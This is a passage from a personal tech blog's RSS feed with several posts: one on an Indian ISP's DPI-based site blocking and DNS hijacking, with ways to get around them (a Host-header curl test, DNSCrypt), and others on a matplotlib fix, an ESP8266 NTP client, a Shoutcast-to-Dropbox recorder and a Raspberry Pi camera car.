websites. It&amp;rsquo;s all frustrating but it becomes enraging when you find out that the ISPs are messing with your traffic in a less than ethical way to implement this. Earlier, I pointed out how ACT was &lt;a href="https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/"&gt;hijacking my DNS&lt;/a&gt; to implement the blocks. Now, they seem to have started doing something else, not sure if it is worse or better though. They are now doing deep packet inspection to find out the sites that I am visiting and thus block them by stopping the responses to my requests.&lt;/p&gt;</description><content>&lt;p&gt;ISPs in India have been blocking websites since many years. It&amp;rsquo;s often done without much sense to it. The goveernment/telecom bodies and courts sometimes tell the ISPs to block content instead of telling the same to the websites that host the content. Sometimes, the orders are to block certain urls and ISPs are over-enthusiastic in implementing the orders and block complete websites. It&amp;rsquo;s all frustrating but it becomes enraging when you find out that the ISPs are messing with your traffic in a less than ethical way to implement this. Earlier, I pointed out how ACT was &lt;a href="https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/"&gt;hijacking my DNS&lt;/a&gt; to implement the blocks. Now, they seem to have started doing something else, not sure if it is worse or better though. They are now doing deep packet inspection to find out the sites that I am visiting and thus block them by stopping the responses to my requests.&lt;/p&gt;
&lt;p&gt;A few days ago, there were a few tweets mentioning that &lt;a href="streamable.com"&gt;Streamable&lt;/a&gt; was blocked by few Indian ISPs. While checking it out, I noticed that I was not able to access it either on ACT ISP. I tried pinging the site and a traceroute to it and it seemed to work fine with no anomalies which puzzled me. Then I tried using https to access the site, and it opened up fine. This meant that ACT isn&amp;rsquo;t blocking the access based on the dns but by looking at something in my packets and so using https bypassed it (due to encryption of the data lying within).&lt;/p&gt;
&lt;p&gt;I further tried doing the same through curl and found that if I fake the &amp;ldquo;Host&amp;rdquo; header in the command, I could access streamable.com even through http. A few other tests confirmed that ACT actually does a partial match for the blocked site because it blocked host headers like fakestreamable.com or streamable.com.in etc as well. But using something like &amp;ldquo;fake.com&amp;rdquo; worked. You can try this with below command and vary the site name after &amp;ldquo;Host:&amp;rdquo; in the command.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -L -g -4 -v --header &amp;quot;Host: streamable.com&amp;quot; streamable.com&lt;/code&gt;&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2017/01/streamable-blocked-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;I hope Indian ISPs can stop this malpractice of interfering with our data.&lt;/p&gt;</content></item><item><title>Indian ISP ACT Fibernet blocks bit.ly. Does DNS Hijacking</title><link>https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/</link><pubDate>Sat, 17 Sep 2016 17:14:43 +0000</pubDate><guid>https://shantanugoel.com/2016/09/17/indian-isp-act-fibernet-blocks-bit-ly-does-dns-hijacking/</guid><description>&lt;h2 id="hahahugoshortcode253s0hbhb"&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/censored.jpg" alt="Censored!" /&gt;
&lt;/figure&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;TLDR;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Indian ISP ACT Fibernet (aka Beam Telecom) hijacks its users&amp;rsquo; DNS requests (even when using public DNS servers like Google or OpenDNS) and blocks websites through this method. This has huge implications beyond website blocking and you can&amp;rsquo;t rely on anything that you are browsing anymore though there are ways available to make yourself safe.&lt;/p&gt;
&lt;p&gt;Aside: Indian ISPs are blocking benign/collateral damage sites now like bit.ly for ACT and behance.net for Airtel. Pretty soon most of web will be blocked in India at this rate.&lt;/p&gt;</description><content>&lt;h2 id="hahahugoshortcode253s0hbhb"&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/censored.jpg" alt="Censored!" /&gt;
&lt;/figure&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;TLDR;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Indian ISP ACT Fibernet (aka Beam Telecom) hijacks its users&amp;rsquo; DNS requests (even when using public DNS servers like Google or OpenDNS) and blocks websites through this method. This has huge implications beyond website blocking and you can&amp;rsquo;t rely on anything that you are browsing anymore though there are ways available to make yourself safe.&lt;/p&gt;
&lt;p&gt;Aside: Indian ISPs are blocking benign/collateral damage sites now like bit.ly for ACT and behance.net for Airtel. Pretty soon most of web will be blocked in India at this rate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; It seems that some folks on ACT do not see the block/DNS hijack. So far, they all seem to be on dynamic IP. It could be either that the hijacking is being done only for static IP folks or for specific IP ranges. Please comment here or tweet to me @shantanugoel if you are on ACT but do not see the block and/or dns hijack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; Got a call from ACT team and they&amp;rsquo;ve unblocked bit.ly this morning. However, DNS hijacking, the primary problem, still seems to be there for many users.&lt;/p&gt;
&lt;h2 id="the-whole-shebang"&gt;&lt;strong&gt;The Whole shebang&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;URL/website blocking is not new in India and ISPs causing it show up in weird ways is not new as well like we saw not too long ago:&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;So, we figured this out finally. &lt;a href="https://twitter.com/Cloudflare?ref_src=twsrc%5Etfw"&gt;@CloudFlare&lt;/a&gt; is not really doing an MITM here but getting MITM&amp;#39;ed by airtel &lt;a href="https://t.co/Htild9sWIv"&gt;https://t.co/Htild9sWIv&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/753275683359461376?ref_src=twsrc%5Etfw"&gt;July 13, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;We&amp;rsquo;ve come to expect such things happen already for sites which may host pirated content like TPB and other torrents sites, etc. But &amp;ldquo;shocked&amp;rdquo; or &amp;ldquo;surprised&amp;rdquo; would be understatements of what I felt when I saw that a generic url shortener like bit.ly was blocked as well. All I was trying to see was a benign backstory about CitrusPay founders shared by someone on twitter and BAM!&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Now, bit.ly has been blocked in India. FML. Block everything. Block the internet itself BC. &lt;a href="https://t.co/e5MFLVXIao"&gt;pic.twitter.com/e5MFLVXIao&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/777074151450304513?ref_src=twsrc%5Etfw"&gt;September 17, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/Selection_054.png" /&gt;
&lt;/figure&gt;
&lt;h2 id="something-bigger-than-blocking"&gt;Something bigger than blocking&lt;/h2&gt;
&lt;p&gt;But the rage didn&amp;rsquo;t stop at this.&lt;/p&gt;
&lt;p&gt;I tried the usual way of adding &amp;ldquo;https&amp;rdquo; to bypass the block but it was highly unusual to see another error which said bit.ly closed my connection. I was sure bit.ly supports https as I could see on my Airtel connection. So this was weird.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/Selection_056-300x160.png" /&gt;
&lt;/figure&gt;
&lt;p&gt;I tried a simple ping to bit.ly and well well well! It turns out, I am not even connecting to bit.ly at all but one of the servers of my ISP itself. The other sites like google.com were being resolved correctly.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Well, I&amp;#39;ll be damned :o bit.ly is pointing to &lt;a href="https://t.co/Yp6tdKp23o"&gt;https://t.co/Yp6tdKp23o&lt;/a&gt; &lt;a href="https://t.co/thTD2dvEv3"&gt;pic.twitter.com/thTD2dvEv3&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/777081685305270272?ref_src=twsrc%5Etfw"&gt;September 17, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;This &amp;ldquo;might&amp;rdquo; have been okay/explained away if I was using my ISP&amp;rsquo;s DNS servers (even though it&amp;rsquo;d be unethical in my book even then). But I was NOT using ISP&amp;rsquo;s DNS servers in the first place (who does that, seriously?).&lt;/p&gt;
&lt;p&gt;I was using google&amp;rsquo;s public DNS servers at my router as well as PC level and resolve.conf is set to use localhost. So I was pretty sure I am using the google dns and I shouldn&amp;rsquo;t have got a fake IP back. &lt;strong&gt;This was an even bigger red flag!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I ran the nslookup on bit.ly through an online service and it gave me the correct bit.ly server IPs but running nslookup on my PC or even on my router gave me back the fake IP.
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/Selection_057-300x197.png" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/058-300x189.png" /&gt;
&lt;/figure&gt;
&lt;h2 id="transparent-dns-proxy--dns-hijacking"&gt;Transparent DNS Proxy / DNS Hijacking&lt;/h2&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/transparent-dns-proxy-300x185.png" /&gt;
&lt;/figure&gt;
&lt;p&gt;This is how (bad) ISPs do this. They look for all traffic on port 53 (the DNS port) and don&amp;rsquo;t let them go to the actual DNS server and fulfill it from their own DNS servers, thus forcing you to go to a location of their bidding.&lt;/p&gt;
&lt;p&gt;In my case, I tried running the various &amp;ldquo;DNS leak tests&amp;rdquo;/&amp;ldquo;Transparent Proxy detection&amp;rdquo; tests but they all came out fine. Because my ISP is doing something clever here. I am assuming that they look at all the addresses that you are trying to reach, and then serve the ones they are interested in from their servers while passing on the rest of the requests to your originally intended dns server.&lt;/p&gt;
&lt;p&gt;How these tests work is that they see your IP, then ask your browser to connect to some specific server (like 7325abcd.mydnsleaktest.com) and see the IP which is actually touching their dns servers to query that address. I looked at these results and they all showed google to be the one connecting to them and so that seemed fine.&lt;/p&gt;
&lt;p&gt;Luckily, my ISP is not doing this (cannot do this?) for the opendns test and it detected the proxying immediately.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2016/09/Selection_059-300x78.png" /&gt;
&lt;/figure&gt;
&lt;h2 id="implicationshow-to-protect-yourself"&gt;Implications/How to protect yourself&lt;/h2&gt;
&lt;p&gt;The situation is grim now because your ISP can control everything you visit on the internet and you wouldn&amp;rsquo;t even know. You could be sending all your searches to your ISP, giving your passwords to them through fake sites, or they could silently replace the script/css etc servers and track all of your behavior, the implications are endless.&lt;/p&gt;
&lt;p&gt;But all is not lost. There are a few ways to protect yourself from this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add the IP manually to your hosts file&lt;/strong&gt;: (H/T https://twitter.com/electron0zero). This is the simplest way as it will bypass even connecting to DNS server at all. But is cumbersome as you have to manually add each site and also update it if the IP changes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Get a VPN.&lt;/strong&gt; I prefer this the least though because it is expensive, slow, and in general problematic to setup everywhere.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**Reroute your DNS requests to some other non-standard port. **You will need to have a bit of iptables know-how for this and a router good enough to give you this access. But your ISP can&amp;rsquo;t (?) monitor every port for DNS traffic. Theoretically they could though.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use DNSCrypt&lt;/strong&gt;. This is my recommended method and what I chose to save myself. This is good in future as well to save you from other DNS attacks. From DNScrypt.org&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;DNSCrypt is a protocol that authenticates communications between a DNS client and a DNS resolver. It prevents DNS spoofing. It uses cryptographic signatures to verify that responses originate from the chosen DNS resolver and haven&amp;rsquo;t been tampered with.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depending on your machines/routers, it can range from easy to difficult. On my Asus RT-N66U with custom firmware, all it took was one line of opkg command to install it and another few lines to start it up at boot and configure dnsmasq to use it.&lt;/p&gt;
&lt;h2 id="closing"&gt;Closing&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s not closed yet. I am talking to my ISP to figure this out and see if they will accept removing this kind of malpractice (I don&amp;rsquo;t think they will. But one has to try!). Please do share this to raise awareness. If you have any queries or any other information about this, please do get in touch with me on &lt;a href="https://twitter.com/shantanugoel"&gt;@shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As an aside, this also means that there is an order out to block bit.ly as well and other ISPs may follow suite soon :|&lt;/p&gt;</content></item><item><title>Fixing the problem of matplotlib and ggplot not showing graphs in python</title><link>https://shantanugoel.com/2016/06/29/fixing-the-problem-of-matplotlib-and-ggplot-not-showing-graphs-in-python/</link><pubDate>Wed, 29 Jun 2016 14:20:55 +0000</pubDate><guid>https://shantanugoel.com/2016/06/29/fixing-the-problem-of-matplotlib-and-ggplot-not-showing-graphs-in-python/</guid><description>&lt;p&gt;While trying to make some graphs for one of my side projects recently, I came across an issue that both matplotlib and ggplot did not show up the graphs. I was able to save the graphs to an image file just fine, but if I tried to show them directly on screen while running the script, it just printed a number and exited. After tearing apart my hair for some time, I checked the backend being used by matplot lib:&lt;/p&gt;</description><content>&lt;p&gt;While trying to make some graphs for one of my side projects recently, I came across an issue that both matplotlib and ggplot did not show up the graphs. I was able to save the graphs to an image file just fine, but if I tried to show them directly on screen while running the script, it just printed a number and exited. After tearing apart my hair for some time, I checked the backend being used by matplot lib:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;import matplotlib matplotlib.get_backend() &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And there was the problem. It showed the backend being used was &amp;ldquo;agg&amp;rdquo;. Looking at the matplotlib documentation, I figured that this backend is used for rendering the graph into an image and saving it. That explained why I was able to save the images fine. But it didn&amp;rsquo;t have any interactive support. For that I had to install one of the other backends which had this support, e.g., Tkagg. So, for that what I had to do was, first install the Tk related packages using the below command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo apt-get install tcl-dev tk-dev python-tk python3-tk &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Another important step now is to reinstall matplotlib so that it detects the new backend, but also remember that if you just do a plain pip uninstall/install, it may not work because that will pick up the previous cached installation. So you have to use the &amp;ndash;no-cache-dir option like below:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pip uninstall matplotlib pip install matplotlib --no-cache-dir &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now, the graphs work fine for both saving as image as well as showing up during runtime.&lt;/p&gt;</content></item><item><title>NTP Driver For ESP8266</title><link>https://shantanugoel.com/2015/03/01/ntp-driver-for-esp8266/</link><pubDate>Sun, 01 Mar 2015 08:02:22 +0000</pubDate><guid>https://shantanugoel.com/2015/03/01/ntp-driver-for-esp8266/</guid><description>&lt;p&gt;I&amp;rsquo;m building a smartwatch project based around the new IoT posterkid on the block, ESP8266. Apart from the usual &amp;ldquo;smart&amp;rdquo; stuff, it does still need to display correct time :) and hence, the need for an ntp driver/client. I couldn&amp;rsquo;t find anyone working on that yet, so wrote up a quick and dirty implementation here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/shantanugoel/esp8266-smartwatch/blob/master/user/ntp.c"&gt;NTP Implementation for ESP8266&lt;/a&gt;&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2015/03/esp8266-ntp-smartwatch-e1425196851643-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;It still has a lot of stuff left to be done to make it good enough for the smartwatch project but it works. Feel free to try it out in your own projects and let me know how it fares :)&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;m building a smartwatch project based around the new IoT posterkid on the block, ESP8266. Apart from the usual &amp;ldquo;smart&amp;rdquo; stuff, it does still need to display correct time :) and hence, the need for an ntp driver/client. I couldn&amp;rsquo;t find anyone working on that yet, so wrote up a quick and dirty implementation here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/shantanugoel/esp8266-smartwatch/blob/master/user/ntp.c"&gt;NTP Implementation for ESP8266&lt;/a&gt;&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2015/03/esp8266-ntp-smartwatch-e1425196851643-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;It still has a lot of stuff left to be done to make it good enough for the smartwatch project but it works. Feel free to try it out in your own projects and let me know how it fares :)&lt;/p&gt;
&lt;p&gt;BTW, configure a proper ntp server address in the ntp_server variable in this file. I have a local IP there because I had to run an ntp server on one of my machines (My ISP, unfortunately, seems to be blocking all ntp traffic and I can&amp;rsquo;t query any external ntp servers).&lt;/p&gt;</content></item><item><title>Weekend Hack: Shoutcast2Dropbox - Automatic Shoutcast Stations To Dropbox Recorder</title><link>https://shantanugoel.com/2015/02/16/weekend-hack-shoutcast2dropbox-automatic-shoutcast-stations-to-dropbox-recorder/</link><pubDate>Mon, 16 Feb 2015 03:00:19 +0000</pubDate><guid>https://shantanugoel.com/2015/02/16/weekend-hack-shoutcast2dropbox-automatic-shoutcast-stations-to-dropbox-recorder/</guid><description>&lt;p&gt;So I got bored of listening to same old songs on my phone over and over and Rdio announced a streaming plan for India. With a sigh of relief I subscribed immediately and it was stellar at home with its wonderful 32 million song collection and chromecast support to boot. The experience during the commute daily was underwhelming. Couple the spotty airtel data connection with no one station covering all songs I would love and it makes for a frustrating commute with long gaps all over. Slacker has a radio station caching feature but unfortunately doesn&amp;rsquo;t support India. So I took things into my own hands and Shoutcast2Dropbox was born this weekend. Details follow below.&lt;/p&gt;</description><content>&lt;p&gt;So I got bored of listening to same old songs on my phone over and over and Rdio announced a streaming plan for India. With a sigh of relief I subscribed immediately and it was stellar at home with its wonderful 32 million song collection and chromecast support to boot. The experience during the commute daily was underwhelming. Couple the spotty airtel data connection with no one station covering all songs I would love and it makes for a frustrating commute with long gaps all over. Slacker has a radio station caching feature but unfortunately doesn&amp;rsquo;t support India. So I took things into my own hands and Shoutcast2Dropbox was born this weekend. Details follow below.&lt;/p&gt;
&lt;p&gt;Link: &lt;a href="https://github.com/shantanugoel/Shoutcast2Dropbox"&gt;https://github.com/shantanugoel/Shoutcast2Dropbox&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="shoutcast2dropbox---automatic-shoutcast-stations-to-dropbox-recorder"&gt;&lt;strong&gt;Shoutcast2Dropbox - Automatic Shoutcast Stations To Dropbox Recorder&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;This simple script allows to automatically download a specified duration of song collections from different shoutcast stations and then automatically upload them to your dropbox. This can be used to create your own station caching feature with a variety of benefits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Individual songs instead of one lengthy stream so you can skip forward/backwards among them&lt;/li&gt;
&lt;li&gt;Mix up a variety of different stations instead of listening to a single type (e.g. I mix up different types of rock and metal stations with a few latest hits ones thrown in)&lt;/li&gt;
&lt;li&gt;No buffering/precious mobile data usage as the Dropbox folder can be synced to phone on wifi (I use Dropsync to schedule syncs on home wifi)&lt;/li&gt;
&lt;li&gt;New playlist every day instead of listening to same old stored songs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I created this for myself one day as I was sick of the many issues that plague streaming music (the ones listed above that are overcome with this script). It may have bugs or may not cover all usecases. I&amp;rsquo;d love to get feedback to fix the bugs and add more features, so feel free to send in your requests.&lt;/p&gt;
&lt;h1 id="dependencies"&gt;&lt;strong&gt;Dependencies&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;For the script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Linux Host - (PC/Router/Raspberry Pi/Server etc). Script is written for shell currently but may be adapted for windows. I run it on my router as a cronjob.&lt;/li&gt;
&lt;li&gt;streamripper - Opensource Shoutcast recorder program&lt;/li&gt;
&lt;li&gt;Dropbox Uploader - For Dropbox sync. Linked as submodule in this git repository.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="usage"&gt;&lt;strong&gt;Usage&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Once above dependencies are satisfied, run the Dropbox Uploader script and do the steps as mentioned to create a folder for syncing the songs to your Dropbox.
After that, you can run the Shoutcast2Dropbox script as below:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;./Shoutcast2Dropbox.sh &amp;lt;Input File for station lists&amp;gt; &amp;lt;Cumulative Duration to record in seconds&amp;gt; &amp;lt;Output Directory path&amp;gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Input file should have 1 station url per line. An example file (stations-example.txt) is given in this repository
Duration in seconds is split up into equal durations for each station. e.g. 3600 seconds (1 hour) given here with a station list of 3 means each station will be recorded for 1200 seconds (or 20 minutes).
Output directory is where the songs will be captured to.
Example:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;./Shoutcast2Dropbox.sh stations-example.txt 3600 /home/Shantanu/songs &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Sync the folder to your phone (See tips section ;) )&lt;/p&gt;
&lt;h1 id="tips"&gt;&lt;strong&gt;Tips&lt;/strong&gt;&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Station urls are not the website urls. You need to get their actual shoutcast stream urls. If they are not present on the website in plain view, generally you can &amp;ldquo;inspect&amp;rdquo; the web page or view source to find those out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use aac streams if possible. They are lower size and higher quality compared to mp3s&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Instead of running the script manually, set it up as a cron job to run automatically. I set it up to run every day around noon (so that songs get downloaded by the time I reach home)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set it up on a low power device which is always on. e.g. I set it up on my router.
i) I had to install a few extras on my router for this to work (e.g. coreutils-stat pkg from entware). You may need to do so as well
ii) I used -k option in script for Dropbox Uploader due to missing ca certificates. You may either choose to install certificates (not a problem on PC but slightly involved on router) or use -k option wherever dropbox uploader commands are used. Didn&amp;rsquo;t check in the k option to avoid security issues by default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For listening to fresh playlists every day while on the road with least effort, setup your phone to automatically sync this. I use &amp;ldquo;DropSync&amp;rdquo; and &amp;ldquo;Tasker&amp;rdquo; for this. DropSync allows to sync any dropbox folder to the phone and tasker automates this process while taking care of not disturbing your normal phone use. I set it up like this:
a. Setup DropSync to do only manual sync.
b. In Tasker, create a profile with this conditions:
i) An hourly repeating time event from 10 PM to 6 AM
ii) Wifi is connected instead of mobile data
iii) Location context is home (from another of my profiles. You can instead choose to use your specific home wifi ssid in above step)
iv) Phone is getting charged (so that it doesn&amp;rsquo;t lose power in the middle)
c. Profile enter task is setup to check a variable if sync is done or not. If not done, then trigger the sync and then set the sync done variable.
d. Profile exit task is setup to clear the sync done variable for next day.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>Browser controlled Raspberry Pi Camera Car</title><link>https://shantanugoel.com/2014/08/03/browser-controlled-raspberry-pi-camera-car/</link><pubDate>Sun, 03 Aug 2014 15:33:12 +0000</pubDate><guid>https://shantanugoel.com/2014/08/03/browser-controlled-raspberry-pi-camera-car/</guid><description>&lt;p&gt;Spent this weekend building a remote controlled car with a live camera feed with a Raspberry Pi doing the communication and brains duty. Pretty nice real time movement control and camera pan/tilt control through websockets with a live stream feeding back to any browser directly from the car through mjpg-streamer&lt;/p&gt;
&lt;p&gt;(PS: Video is at the bottom of the post. Browser/video on TV courtesy ChromeCast. Casted my Nexus 5 screen to the TV simultaneously while controlling the car :) )&lt;/p&gt;</description><content>&lt;p&gt;Spent this weekend building a remote controlled car with a live camera feed with a Raspberry Pi doing the communication and brains duty. Pretty nice real time movement control and camera pan/tilt control through websockets with a live stream feeding back to any browser directly from the car through mjpg-streamer&lt;/p&gt;
&lt;p&gt;(PS: Video is at the bottom of the post. Browser/video on TV courtesy ChromeCast. Casted my Nexus 5 screen to the TV simultaneously while controlling the car :) )&lt;/p&gt;
&lt;p&gt;Code: &lt;a href="https://github.com/shantanugoel/raspi-car"&gt;https://github.com/shantanugoel/raspi-car&lt;/a&gt;&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/08/2014-08-03-03.44.32-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/08/2014-08-03-03.44.40-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;HW Used:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dagu Chassis (Includes motors/tires and the plates)&lt;/li&gt;
&lt;li&gt;Dagu Pan/Tilt kit (Servos and brackets to mount the camera)&lt;/li&gt;
&lt;li&gt;Dagu Mini Driver (Arduino clone + Motor driver)&lt;/li&gt;
&lt;li&gt;Raspberry Pi (Model B but any could be used)&lt;/li&gt;
&lt;li&gt;A netgear ethernet to wifi adapter (Since I didn&amp;rsquo;t have the raspi cam so had to save a USB port and use this instead of USB wifi adapter)&lt;/li&gt;
&lt;li&gt;A cheap old USB webcam&lt;/li&gt;
&lt;li&gt;6 AA Cells&lt;/li&gt;
&lt;li&gt;A sony portable charger to power the raspberry pi and wifi adapter&lt;/li&gt;
&lt;li&gt;Wires/Screws/Spacers/Tools (lots of them)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Features:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Control the car from any browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can control motion as well as camera pan/tilt from browser using virtual joysticks (Requires multitouch to do pan/tilt as second joystick is needed for this)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Streams back video from car camera to the browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can rotate left/right while being completely stationary&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can have multiple connections to the car (not recommended for controlling)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Uses websockets for control and response is almost instantaneous like regular toy cars.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Responsive touch-anywhere joysticks using virtualjoystick (&lt;a href="https://github.com/jeromeetienne/virtualjoystick.js"&gt;https://github.com/jeromeetienne/virtualjoystick.js&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;HW Setup overview:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Raspberry Pi connects to the USB webcam and Dagu Mini driver through second USB port (for serial comm)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Raspberry Pi powered by micro USB through portable charger&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DAGU mini driver powered through a 6 AA battery pack (which powers the motors/servos as well)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Servos connected to Digital Pins 2 and 4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Motors connected to Pins 8-11&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wifi adapter powered through portable charger and connected to Pi through ethernet port&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SW Setup Overview:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Use any Raspberry Pi software image. I used vanilla raspbian&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get all my code from my github: &lt;a href="https://github.com/shantanugoel/raspi-car"&gt;https://github.com/shantanugoel/raspi-car&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compile and start mjpg-streamer using mjpg-streamer.sh (Compilation not needed if using my repo as I included a compiled version of mjpg-streamer and needed plugins)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start websockets and Dagu communication driver back end: controller.py (python controller.py)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open browser to &lt;code&gt;http://rpi:8090&lt;/code&gt; (or &lt;code&gt;http://&amp;lt;RaspberryPiIPAddress&amp;gt;:8090&lt;/code&gt;) from any device&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Touch anywhere to start controlling the car. Left half of screen corresponds to car movement joystick. Right half of screen corresponds to camera pan/tilt joystick. You can use either one of them or both simultaneously.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Some Important Points:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
